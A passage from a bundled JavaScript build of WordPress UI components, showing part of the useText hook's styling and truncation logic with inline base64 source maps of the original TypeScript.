QgZmluYWxFbGxpcHNpemVNb2RlOiB1bmRlZmluZWQgfCAnYXV0bycgfCAnbm9uZSc7XG5cdGlmICggdHJ1bmNhdGUgPT09IHRydWUgKSB7XG5cdFx0ZmluYWxFbGxpcHNpemVNb2RlID0gJ2F1dG8nO1xuXHR9XG5cdGlmICggdHJ1bmNhdGUgPT09IGZhbHNlICkge1xuXHRcdGZpbmFsRWxsaXBzaXplTW9kZSA9ICdub25lJztcblx0fVxuXG5cdGNvbnN0IGZpbmFsQ29tcG9uZW50UHJvcHMgPSB7XG5cdFx0Li4ub3RoZXJQcm9wcyxcblx0XHRjbGFzc05hbWU6IGNsYXNzZXMsXG5cdFx0Y2hpbGRyZW4sXG5cdFx0ZWxsaXBzaXplTW9kZTogZWxsaXBzaXplTW9kZSB8fCBmaW5hbEVsbGlwc2l6ZU1vZGUsXG5cdH07XG5cblx0Y29uc3QgdHJ1bmNhdGVQcm9wcyA9IHVzZVRydW5jYXRlKCBmaW5hbENvbXBvbmVudFByb3BzICk7XG5cblx0LyoqXG5cdCAqIEVuaGFuY2UgY2hpbGQgYDxMaW5rIC8+YCBjb21wb25lbnRzIHRvIGluaGVyaXQgZm9udCBzaXplLlxuXHQgKi9cblx0aWYgKCAhIHRydW5jYXRlICYmIEFycmF5LmlzQXJyYXkoIGNoaWxkcmVuICkgKSB7XG5cdFx0Y29udGVudCA9IENoaWxkcmVuLm1hcCggY2hpbGRyZW4sICggY2hpbGQgKSA9PiB7XG5cdFx0XHRpZiAoXG5cdFx0XHRcdHR5cGVvZiBjaGlsZCAhPT0gJ29iamVjdCcgfHxcblx0XHRcdFx0Y2hpbGQgPT09IG51bGwgfHxcblx0XHRcdFx0ISAoICdwcm9wcycgaW4gY2hpbGQgKVxuXHRcdFx0KSB7XG5cdFx0XHRcdHJldHVybiBjaGlsZDtcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgaXNMaW5rID0gaGFzQ29ubmVjdE5hbWVzcGFjZSggY2hpbGQsIFsgJ0xpbmsnIF0gKTtcblx0XHRcdGlmICggaXNMaW5rICkge1xuXHRcdFx0XHRyZXR1cm4gY2xvbmVFbGVtZW50KCBjaGlsZCwge1xuXHRcdFx0XHRcdHNpemU6IGNoaWxkLnByb3BzLnNpemUgfHwgJ2luaGVyaXQnLFxuXHRcdFx0XHR9ICk7XG5cdFx0XHR9XG5cblx0XHRcdHJldHVybiBjaGlsZDtcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4ge1xuXHRcdC4uLnRydW5jYXRlUHJvcHMsXG5cdFx0Y2hpbGRyZW46IHRydW5jYXRlID8gdHJ1bmNhdGVQcm9wcy5jaGlsZHJlbiA6IGNvbnRlbnQsXG5cdH07XG59XG4iXX0= */");
24372 sx.upperCase = _ref;
24373 sx.optimalTextColor = null;
24374 if (optimizeReadabilityFor) {
24375 const isOptimalTextColorDark = getOptimalTextShade(optimizeReadabilityFor) === "dark";
24376 sx.optimalTextColor = isOptimalTextColorDark ? /* @__PURE__ */ css({
24377 color: COLORS.gray[900]
24378 }, false ? "" : ";label:sx-optimalTextColor;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBNEdNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vLCBDaGlsZHJlbiwgY2xvbmVFbGVtZW50IH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgaGFzQ29ubmVjdE5hbWVzcGFjZSwgdXNlQ29udGV4dFN5c3RlbSB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgdXNlVHJ1bmNhdGUgfSBmcm9tICcuLi90cnVuY2F0ZSc7XG5pbXBvcnQgeyBnZXRPcHRpbWFsVGV4dFNoYWRlIH0gZnJvbSAnLi4vdXRpbHMvY29sb3JzJztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBjcmVhdGVIaWdobGlnaHRlclRleHQgfSBmcm9tICcuL3V0aWxzJztcbmltcG9ydCB7IGdldEZvbnRTaXplIH0gZnJvbSAnLi4vdXRpbHMvZm9udC1zaXplJztcbmltcG9ydCB7IENPTkZJRywgQ09MT1JTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgZ2V0TGluZUhlaWdodCB9IGZyb20gJy4vZ2V0LWxpbmUtaGVpZ2h0JztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB0eXBlIHsgUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcbmltcG9ydCB0eXBlIFJlYWN0IGZyb20gJ3JlYWN0JztcblxuLyoqXG4gKiBAcGFyYW0ge2ltcG9ydCgnLi4vY29udGV4dCcpLldvcmRQcmVzc0NvbXBvbmVudFByb3BzPGltcG9ydCgnLi90eXBlcycpLlByb3BzLCAnc3Bhbic+fSBwcm9wc1xuICovXG5leHBvcnQgZGVmYXVsdCBmdW5jdGlvbiB1c2VUZXh0KFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IFByb3BzLCAnc3BhbicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhZGp1c3RMaW5lSGVpZ2h0Rm9ySW5uZXJDb250cm9scyxcblx0XHRhbGlnbixcblx0XHRjaGlsZHJlbixcblx0XHRjbGFzc05hbWUsXG5cdFx0Y29sb3IsXG5cdFx0ZWxsaXBzaXplTW9kZSxcblx0XHRpc0Rlc3RydWN0aXZlID0gZmFsc2UsXG5cdFx0ZGlzcGxheSxcblx0XHRoaWdobGlnaHRFc2NhcGUgPSBmYWxzZSxcblx0XHRoaWdobGlnaHRDYXNlU2Vuc2l0aXZlID0gZmFsc2UsXG5cdFx0aGlnaGxpZ2h0V29yZHMsXG5cdFx0aGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0aXNCbG9jayA9IGZhbHNlLFxuXHRcdGxldHRlclNwYWNpbmcsXG5cdFx0bGluZUhlaWdodDogbGluZUhlaWdodFByb3AsXG5cdFx0b3B0aW1pemVSZWFkYWJpbGl0eUZvcixcblx0XHRzaXplLFxuXHRcdHRydW5jYXRlID0gZmFsc2UsXG5cdFx0dXBwZXJDYXNlID0gZmFsc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQgPSBDT05GSUcuZm9udFdlaWdodCxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ1RleHQnICk7XG5cblx0bGV0IGNvbnRlbnQ6IFJlYWN0LlJlYWN0Tm9kZSA9IGNoaWxkcmVuO1xuXHRjb25zdCBpc0hpZ2hsaWdodGVyID0gQXJyYXkuaXNBcnJheSggaGlnaGxpZ2h0V29yZHMgKTtcblx0Y29uc3QgaXNDYXB0aW9uID0gc2l6ZSA9PT0gJ2NhcHRpb24nO1xuXG5cdGlmICggaXNIaWdobGlnaHRlciApIHtcblx0XHRpZiAoIHR5cGVvZiBjaGlsZHJlbiAhPT0gJ3N0cmluZycgKSB7XG5cdFx0XHR0aHJvdyBuZXcgVHlwZUVycm9yKFxuXHRcdFx0XHQnYGNoaWxkcmVuYCBvZiBgVGV4dGAgbXVzdCBvbmx5IGJlIGBzdHJpbmdgIHR5cGVzIHdoZW4gYGhpZ2hsaWdodFdvcmRzYCBpcyBkZWZpbmVkJ1xuXHRcdFx0KTtcblx0XHR9XG5cblx0XHRjb250ZW50ID0gY3JlYXRlSGlnaGxpZ2h0ZXJUZXh0KCB7XG5cdFx0XHRhdXRvRXNjYXBlOiBoaWdobGlnaHRFc2NhcGUsXG5cdFx0XHRjaGlsZHJlbixcblx0XHRcdGNhc2VTZW5zaXRpdmU6IGhpZ2hsaWdodENhc2VTZW5zaXRpdmUsXG5cdFx0XHRzZWFyY2hXb3JkczogaGlnaGxpZ2h0V29yZHMsXG5cdFx0XHRzYW5pdGl6ZTogaGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0fSApO1xuXHR9XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0Y29uc3Qgc3g6IFJlY29yZDwgc3RyaW5nLCBTZXJpYWxpemVkU3R5bGVzIHwgbnVsbCA+ID0ge307XG5cblx0XHRjb25zdCBsaW5lSGVpZ2h0ID0gZ2V0TGluZUhlaWdodChcblx0XHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdFx0bGluZUhlaWdodFByb3Bcblx0XHQpO1xuXG5cdFx0c3guQmFzZSA9IGNzcygge1xuXHRcdFx0Y29sb3IsXG5cdFx0XHRkaXNwbGF5LFxuXHRcdFx0Zm9udFNpemU6IGdldEZvbnRTaXplKCBzaXplICksXG5cdFx0XHRmb250V2VpZ2h0OiB3ZWlnaHQsXG5cdFx0XHRsaW5lSGVpZ2h0LFxuXHRcdFx0bGV0dGVyU3BhY2luZyxcblx0XHRcdHRleHRBbGlnbjogYWxpZ24sXG5cdFx0fSApO1xuXG5cdFx0c3gudXBwZXJDYXNlID0gY3NzKCB7IHRleHRUcmFuc2Zvcm06ICd1cHBlcmNhc2UnIH0gKTtcblxuXHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBudWxsO1xuXG5cdFx0aWYgKCBvcHRpbWl6ZVJlYWRhYmlsaXR5Rm9yICkge1xuXHRcdFx0Y29uc3QgaXNPcHRpbWFsVGV4dENvbG9yRGFyayA9XG5cdFx0XHRcdGdldE9wdGltYWxUZXh0U2hhZGUoIG9wdGltaXplUmVhZGFiaWxpdHlGb3IgKSA9PT0gJ2RhcmsnO1xuXG5cdFx0XHQvLyBTaG91bGQgbm90IHVzZSB0aGVtZSBjb2xvcnNcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBpc09wdGltYWxUZXh0Q29sb3JEYXJrXG5cdFx0XHRcdD8gY3NzKCB7IGNvbG9yOiBDT0xPUlMuZ3JheVsgOTAwIF0gfSApXG5cdFx0XHRcdDogY3NzKCB7IGNvbG9yOiBDT0xPUlMud2hpdGUgfSApO1xuXHRcdH1cblxuXHRcdHJldHVybiBjeChcblx0XHRcdHN0eWxlcy5UZXh0LFxuXHRcdFx0c3guQmFzZSxcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IsXG5cdFx0XHRpc0Rlc3RydWN0aXZlICYmIHN0eWxlcy5kZXN0cnVjdGl2ZSxcblx0XHRcdCEhIGlzSGlnaGxpZ2h0ZXIgJiYgc3R5bGVzLmhpZ2hsaWdodGVyVGV4dCxcblx0XHRcdGlzQmxvY2sgJiYgc3R5bGVzLmJsb2NrLFxuXHRcdFx0aXNDYXB0aW9uICYmIHN0eWxlcy5tdXRlZCxcblx0XHRcdHZhcmlhbnQgJiYgc3R5bGVzWyB2YXJpYW50IF0sXG5cdFx0XHR1cHBlckNhc2UgJiYgc3gudXBwZXJDYXNlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdGFsaWduLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjb2xvcixcblx0XHRjeCxcblx0XHRkaXNwbGF5LFxuXHRcdGlzQmxvY2ssXG5cdFx0aXNDYXB0aW9uLFxuXHRcdGlzRGVzdHJ1Y3RpdmUsXG5cdFx0aXNIaWdobGlnaHRlcixcblx0XHRsZXR0ZXJTcGFjaW5nLFxuXHRcdGxpbmVIZWlnaHRQcm9wLFxuXHRcdG9wdGltaXplUmVhZGFiaWxpdHlGb3IsXG5cdFx0c2l6ZSxcblx0XHR1cHBlckNhc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQsXG5cdF0gKTtcblxuXHRsZXQgZmluYWxFbGxpcHNpemVNb2RlOiB1bmRlZmluZWQgfCAnYXV0bycgfCAnbm9uZSc7XG5cdGlmICggdHJ1bmNhdGUgPT09IHRydWUgKSB7XG5cdFx0ZmluYWxFbGxpcHNpemVNb2RlID0gJ2F1dG8nO1xuXHR9XG5cdGlmICggdHJ1bmNhdGUgPT09IGZhbHNlICkge1xuXHRcdGZpbmFsRWxsaXBzaXplTW9kZSA9ICdub25lJztcblx0fVxuXG5cdGNvbnN0IGZpbmFsQ29tcG9uZW50UHJvcHMgPSB7XG5cdFx0Li4ub3RoZXJQcm9wcyxcblx0XHRjbGFzc05hbWU6IGNsYXNzZXMsXG5cdFx0Y2hpbGRyZW4sXG5cdFx0ZWxsaXBzaXplTW9kZTogZWxsaXBzaXplTW9kZSB8fCBmaW5hbEVsbGlwc2l6ZU1vZGUsXG5cdH07XG5cblx0Y29uc3QgdHJ1bmNhdGVQcm9wcyA9IHVzZVRydW5jYXRlKCBmaW5hbENvbXBvbmVudFByb3BzICk7XG5cblx0LyoqXG5cdCAqIEVuaGFuY2UgY2hpbGQgYDxMaW5rIC8+YCBjb21wb25lbnRzIHRvIGluaGVyaXQgZm9udCBzaXplLlxuXHQgKi9cblx0aWYgKCAhIHRydW5jYXRlICYmIEFycmF5LmlzQXJyYXkoIGNoaWxkcmVuICkgKSB7XG5cdFx0Y29udGVudCA9IENoaWxkcmVuLm1hcCggY2hpbGRyZW4sICggY2hpbGQgKSA9PiB7XG5cdFx0XHRpZiAoXG5cdFx0XHRcdHR5cGVvZiBjaGlsZCAhPT0gJ29iamVjdCcgfHxcblx0XHRcdFx0Y2hpbGQgPT09IG51bGwgfHxcblx0XHRcdFx0ISAoICdwcm9wcycgaW4gY2hpbGQgKVxuXHRcdFx0KSB7XG5cdFx0XHRcdHJldHVybiBjaGlsZDtcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgaXNMaW5rID0gaGFzQ29ubmVjdE5hbWVzcGFjZSggY2hpbGQsIFsgJ0xpbmsnIF0gKTtcblx0XHRcdGlmICggaXNMaW5rICkge1xuXHRcdFx0XHRyZXR1cm4gY2xvbmVFbGVtZW50KCBjaGlsZCwge1xuXHRcdFx0XHRcdHNpemU6IGNoaWxkLnByb3BzLnNpemUgfHwgJ2luaGVyaXQnLFxuXHRcdFx0XHR9ICk7XG5cdFx0XHR9XG5cblx0XHRcdHJldHVybiBjaGlsZDtcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4ge1xuXHRcdC4uLnRydW5jYXRlUHJvcHMsXG5cdFx0Y2hpbGRyZW46IHRydW5jYXRlID8gdHJ1bmNhdGVQcm9wcy5jaGlsZHJlbiA6IGNvbnRlbnQsXG5cdH07XG59XG4iXX0= */") : /* @__PURE__ */ css({
24379 color: COLORS.white
24380 }, false ? "" : ";label:sx-optimalTextColor;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImhvb2sudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBNkdNIiwiZmlsZSI6Imhvb2sudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFNlcmlhbGl6ZWRTdHlsZXMgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogV29yZFByZXNzIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyB1c2VNZW1vLCBDaGlsZHJlbiwgY2xvbmVFbGVtZW50IH0gZnJvbSAnQHdvcmRwcmVzcy9lbGVtZW50JztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBXb3JkUHJlc3NDb21wb25lbnRQcm9wcyB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgaGFzQ29ubmVjdE5hbWVzcGFjZSwgdXNlQ29udGV4dFN5c3RlbSB9IGZyb20gJy4uL2NvbnRleHQnO1xuaW1wb3J0IHsgdXNlVHJ1bmNhdGUgfSBmcm9tICcuLi90cnVuY2F0ZSc7XG5pbXBvcnQgeyBnZXRPcHRpbWFsVGV4dFNoYWRlIH0gZnJvbSAnLi4vdXRpbHMvY29sb3JzJztcbmltcG9ydCAqIGFzIHN0eWxlcyBmcm9tICcuL3N0eWxlcyc7XG5pbXBvcnQgeyBjcmVhdGVIaWdobGlnaHRlclRleHQgfSBmcm9tICcuL3V0aWxzJztcbmltcG9ydCB7IGdldEZvbnRTaXplIH0gZnJvbSAnLi4vdXRpbHMvZm9udC1zaXplJztcbmltcG9ydCB7IENPTkZJRywgQ09MT1JTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgZ2V0TGluZUhlaWdodCB9IGZyb20gJy4vZ2V0LWxpbmUtaGVpZ2h0JztcbmltcG9ydCB7IHVzZUN4IH0gZnJvbSAnLi4vdXRpbHMvaG9va3MvdXNlLWN4JztcbmltcG9ydCB0eXBlIHsgUHJvcHMgfSBmcm9tICcuL3R5cGVzJztcbmltcG9ydCB0eXBlIFJlYWN0IGZyb20gJ3JlYWN0JztcblxuLyoqXG4gKiBAcGFyYW0ge2ltcG9ydCgnLi4vY29udGV4dCcpLldvcmRQcmVzc0NvbXBvbmVudFByb3BzPGltcG9ydCgnLi90eXBlcycpLlByb3BzLCAnc3Bhbic+fSBwcm9wc1xuICovXG5leHBvcnQgZGVmYXVsdCBmdW5jdGlvbiB1c2VUZXh0KFxuXHRwcm9wczogV29yZFByZXNzQ29tcG9uZW50UHJvcHM8IFByb3BzLCAnc3BhbicgPlxuKSB7XG5cdGNvbnN0IHtcblx0XHRhZGp1c3RMaW5lSGVpZ2h0Rm9ySW5uZXJDb250cm9scyxcblx0XHRhbGlnbixcblx0XHRjaGlsZHJlbixcblx0XHRjbGFzc05hbWUsXG5cdFx0Y29sb3IsXG5cdFx0ZWxsaXBzaXplTW9kZSxcblx0XHRpc0Rlc3RydWN0aXZlID0gZmFsc2UsXG5cdFx0ZGlzcGxheSxcblx0XHRoaWdobGlnaHRFc2NhcGUgPSBmYWxzZSxcblx0XHRoaWdobGlnaHRDYXNlU2Vuc2l0aXZlID0gZmFsc2UsXG5cdFx0aGlnaGxpZ2h0V29yZHMsXG5cdFx0aGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0aXNCbG9jayA9IGZhbHNlLFxuXHRcdGxldHRlclNwYWNpbmcsXG5cdFx0bGluZUhlaWdodDogbGluZUhlaWdodFByb3AsXG5cdFx0b3B0aW1pemVSZWFkYWJpbGl0eUZvcixcblx0XHRzaXplLFxuXHRcdHRydW5jYXRlID0gZmFsc2UsXG5cdFx0dXBwZXJDYXNlID0gZmFsc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQgPSBDT05GSUcuZm9udFdlaWdodCxcblx0XHQuLi5vdGhlclByb3BzXG5cdH0gPSB1c2VDb250ZXh0U3lzdGVtKCBwcm9wcywgJ1RleHQnICk7XG5cblx0bGV0IGNvbnRlbnQ6IFJlYWN0LlJlYWN0Tm9kZSA9IGNoaWxkcmVuO1xuXHRjb25zdCBpc0hpZ2hsaWdodGVyID0gQXJyYXkuaXNBcnJheSggaGlnaGxpZ2h0V29yZHMgKTtcblx0Y29uc3QgaXNDYXB0aW9uID0gc2l6ZSA9PT0gJ2NhcHRpb24nO1xuXG5cdGlmICggaXNIaWdobGlnaHRlciApIHtcblx0XHRpZiAoIHR5cGVvZiBjaGlsZHJlbiAhPT0gJ3N0cmluZycgKSB7XG5cdFx0XHR0aHJvdyBuZXcgVHlwZUVycm9yKFxuXHRcdFx0XHQnYGNoaWxkcmVuYCBvZiBgVGV4dGAgbXVzdCBvbmx5IGJlIGBzdHJpbmdgIHR5cGVzIHdoZW4gYGhpZ2hsaWdodFdvcmRzYCBpcyBkZWZpbmVkJ1xuXHRcdFx0KTtcblx0XHR9XG5cblx0XHRjb250ZW50ID0gY3JlYXRlSGlnaGxpZ2h0ZXJUZXh0KCB7XG5cdFx0XHRhdXRvRXNjYXBlOiBoaWdobGlnaHRFc2NhcGUsXG5cdFx0XHRjaGlsZHJlbixcblx0XHRcdGNhc2VTZW5zaXRpdmU6IGhpZ2hsaWdodENhc2VTZW5zaXRpdmUsXG5cdFx0XHRzZWFyY2hXb3JkczogaGlnaGxpZ2h0V29yZHMsXG5cdFx0XHRzYW5pdGl6ZTogaGlnaGxpZ2h0U2FuaXRpemUsXG5cdFx0fSApO1xuXHR9XG5cblx0Y29uc3QgY3ggPSB1c2VDeCgpO1xuXG5cdGNvbnN0IGNsYXNzZXMgPSB1c2VNZW1vKCAoKSA9PiB7XG5cdFx0Y29uc3Qgc3g6IFJlY29yZDwgc3RyaW5nLCBTZXJpYWxpemVkU3R5bGVzIHwgbnVsbCA+ID0ge307XG5cblx0XHRjb25zdCBsaW5lSGVpZ2h0ID0gZ2V0TGluZUhlaWdodChcblx0XHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdFx0bGluZUhlaWdodFByb3Bcblx0XHQpO1xuXG5cdFx0c3guQmFzZSA9IGNzcygge1xuXHRcdFx0Y29sb3IsXG5cdFx0XHRkaXNwbGF5LFxuXHRcdFx0Zm9udFNpemU6IGdldEZvbnRTaXplKCBzaXplICksXG5cdFx0XHRmb250V2VpZ2h0OiB3ZWlnaHQsXG5cdFx0XHRsaW5lSGVpZ2h0LFxuXHRcdFx0bGV0dGVyU3BhY2luZyxcblx0XHRcdHRleHRBbGlnbjogYWxpZ24sXG5cdFx0fSApO1xuXG5cdFx0c3gudXBwZXJDYXNlID0gY3NzKCB7IHRleHRUcmFuc2Zvcm06ICd1cHBlcmNhc2UnIH0gKTtcblxuXHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBudWxsO1xuXG5cdFx0aWYgKCBvcHRpbWl6ZVJlYWRhYmlsaXR5Rm9yICkge1xuXHRcdFx0Y29uc3QgaXNPcHRpbWFsVGV4dENvbG9yRGFyayA9XG5cdFx0XHRcdGdldE9wdGltYWxUZXh0U2hhZGUoIG9wdGltaXplUmVhZGFiaWxpdHlGb3IgKSA9PT0gJ2RhcmsnO1xuXG5cdFx0XHQvLyBTaG91bGQgbm90IHVzZSB0aGVtZSBjb2xvcnNcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IgPSBpc09wdGltYWxUZXh0Q29sb3JEYXJrXG5cdFx0XHRcdD8gY3NzKCB7IGNvbG9yOiBDT0xPUlMuZ3JheVsgOTAwIF0gfSApXG5cdFx0XHRcdDogY3NzKCB7IGNvbG9yOiBDT0xPUlMud2hpdGUgfSApO1xuXHRcdH1cblxuXHRcdHJldHVybiBjeChcblx0XHRcdHN0eWxlcy5UZXh0LFxuXHRcdFx0c3guQmFzZSxcblx0XHRcdHN4Lm9wdGltYWxUZXh0Q29sb3IsXG5cdFx0XHRpc0Rlc3RydWN0aXZlICYmIHN0eWxlcy5kZXN0cnVjdGl2ZSxcblx0XHRcdCEhIGlzSGlnaGxpZ2h0ZXIgJiYgc3R5bGVzLmhpZ2hsaWdodGVyVGV4dCxcblx0XHRcdGlzQmxvY2sgJiYgc3R5bGVzLmJsb2NrLFxuXHRcdFx0aXNDYXB0aW9uICYmIHN0eWxlcy5tdXRlZCxcblx0XHRcdHZhcmlhbnQgJiYgc3R5bGVzWyB2YXJpYW50IF0sXG5cdFx0XHR1cHBlckNhc2UgJiYgc3gudXBwZXJDYXNlLFxuXHRcdFx0Y2xhc3NOYW1lXG5cdFx0KTtcblx0fSwgW1xuXHRcdGFkanVzdExpbmVIZWlnaHRGb3JJbm5lckNvbnRyb2xzLFxuXHRcdGFsaWduLFxuXHRcdGNsYXNzTmFtZSxcblx0XHRjb2xvcixcblx0XHRjeCxcblx0XHRkaXNwbGF5LFxuXHRcdGlzQmxvY2ssXG5cdFx0aXNDYXB0aW9uLFxuXHRcdGlzRGVzdHJ1Y3RpdmUsXG5cdFx0aXNIaWdobGlnaHRlcixcblx0XHRsZXR0ZXJTcGFjaW5nLFxuXHRcdGxpbmVIZWlnaHRQcm9wLFxuXHRcdG9wdGltaXplUmVhZGFiaWxpdHlGb3IsXG5cdFx0c2l6ZSxcblx0XHR1cHBlckNhc2UsXG5cdFx0dmFyaWFudCxcblx0XHR3ZWlnaHQsXG5cdF0gKTtcblxuXHRsZXQgZmluYWxFbGxpcHNpemVNb2RlOiB1bmRlZmluZWQgfCAnYXV0bycgfCAnbm9uZSc7XG5cdGlmICggdHJ1bmNhdGUgPT09IHRydWUgKSB7XG5cdFx0ZmluYWxFbGxpcHNpemVNb2RlID0gJ2F1dG8nO1xuXHR9XG5cdGlmICggdHJ1bmNhdGUgPT09IGZhbHNlICkge1xuXHRcdGZpbmFsRWxsaXBzaXplTW9kZSA9ICdub25lJztcblx0fVxuXG5cdGNvbnN0IGZpbmFsQ29tcG9uZW50UHJvcHMgPSB7XG5cdFx0Li4ub3RoZXJQcm9wcyxcblx0XHRjbGFzc05hbWU6IGNsYXNzZXMsXG5cdFx0Y2hpbGRyZW4sXG5cdFx0ZWxsaXBzaXplTW9kZTogZWxsaXBzaXplTW9kZSB8fCBmaW5hbEVsbGlwc2l6ZU1vZGUsXG5cdH07XG5cblx0Y29uc3QgdHJ1bmNhdGVQcm9wcyA9IHVzZVRydW5jYXRlKCBmaW5hbENvbXBvbmVudFByb3BzICk7XG5cblx0LyoqXG5cdCAqIEVuaGFuY2UgY2hpbGQgYDxMaW5rIC8+YCBjb21wb25lbnRzIHRvIGluaGVyaXQgZm9udCBzaXplLlxuXHQgKi9cblx0aWYgKCAhIHRydW5jYXRlICYmIEFycmF5LmlzQXJyYXkoIGNoaWxkcmVuICkgKSB7XG5cdFx0Y29udGVudCA9IENoaWxkcmVuLm1hcCggY2hpbGRyZW4sICggY2hpbGQgKSA9PiB7XG5cdFx0XHRpZiAoXG5cdFx0XHRcdHR5cGVvZiBjaGlsZCAhPT0gJ29iamVjdCcgfHxcblx0XHRcdFx0Y2hpbGQgPT09IG51bGwgfHxcblx0XHRcdFx0ISAoICdwcm9wcycgaW4gY2hpbGQgKVxuXHRcdFx0KSB7XG5cdFx0XHRcdHJldHVybiBjaGlsZDtcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgaXNMaW5rID0gaGFzQ29ubmVjdE5hbWVzcGFjZSggY2hpbGQsIFsgJ0xpbmsnIF0gKTtcblx0XHRcdGlmICggaXNMaW5rICkge1xuXHRcdFx0XHRyZXR1cm4gY2xvbmVFbGVtZW50KCBjaGlsZCwge1xuXHRcdFx0XHRcdHNpemU6IGNoaWxkLnByb3BzLnNpemUgfHwgJ2luaGVyaXQnLFxuXHRcdFx0XHR9ICk7XG5cdFx0XHR9XG5cblx0XHRcdHJldHVybiBjaGlsZDtcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4ge1xuXHRcdC4uLnRydW5jYXRlUHJvcHMsXG5cdFx0Y2hpbGRyZW46IHRydW5jYXRlID8gdHJ1bmNhdGVQcm9wcy5jaGlsZHJlbiA6IGNvbnRlbnQsXG5cdH07XG59XG4iXX0= */");
24381 }
24382 return cx3(Text, sx.Base, sx.optimalTextColor, isDestructive && destructive, !!isHighlighter && highlighterText, isBlock && block2, isCaption && muted, variant && styles_exports3[variant], upperCase2 && sx.upperCase, className2);
24383 }, [adjustLineHeightForInnerControls, align, className2, color2, cx3, display, isBlock, isCaption, isDestructive, isHighlighter, letterSpacing, lineHeightProp, optimizeReadabilityFor, size3, upperCase2, variant, weight]);
24384 let finalEllipsizeMode;
24385 if (truncate === true) {
24386 finalEllipsizeMode = "auto";
24387 }
24388 if (truncate === false) {
24389 finalEllipsizeMode = "none";
24390 }
24391 const finalComponentProps = {
24392 ...otherProps,
24393 className: classes,
24394 children,
24395 ellipsizeMode: ellipsizeMode || finalEllipsizeMode
24396 };
24397 const truncateProps = useTruncate(finalComponentProps);
24398 if (!truncate && Array.isArray(children)) {
24399 content = import_element25.Children.map(children, (child) => {
24400 if (typeof child !== "object" || child === null || !("props" in child)) {
24401 return child;
24402 }
24403 const isLink = hasConnectNamespace(child, ["Link"]);
24404 if (isLink) {
24405 return (0, import_element25.cloneElement)(child, {
24406 size: child.props.size || "inherit"
24407 });
24408 }
24409 return child;
24410 });
24411 }
24412 return {
24413 ...truncateProps,
24414 children: truncate ? truncateProps.children : content
24415 };
24416 }
24417
24418 // packages/components/build-module/text/component.mjs
24419 var import_jsx_runtime85 = __toESM(require_jsx_runtime(), 1);
24420 function UnconnectedText(props, forwardedRef) {
24421 const textProps = useText(props);
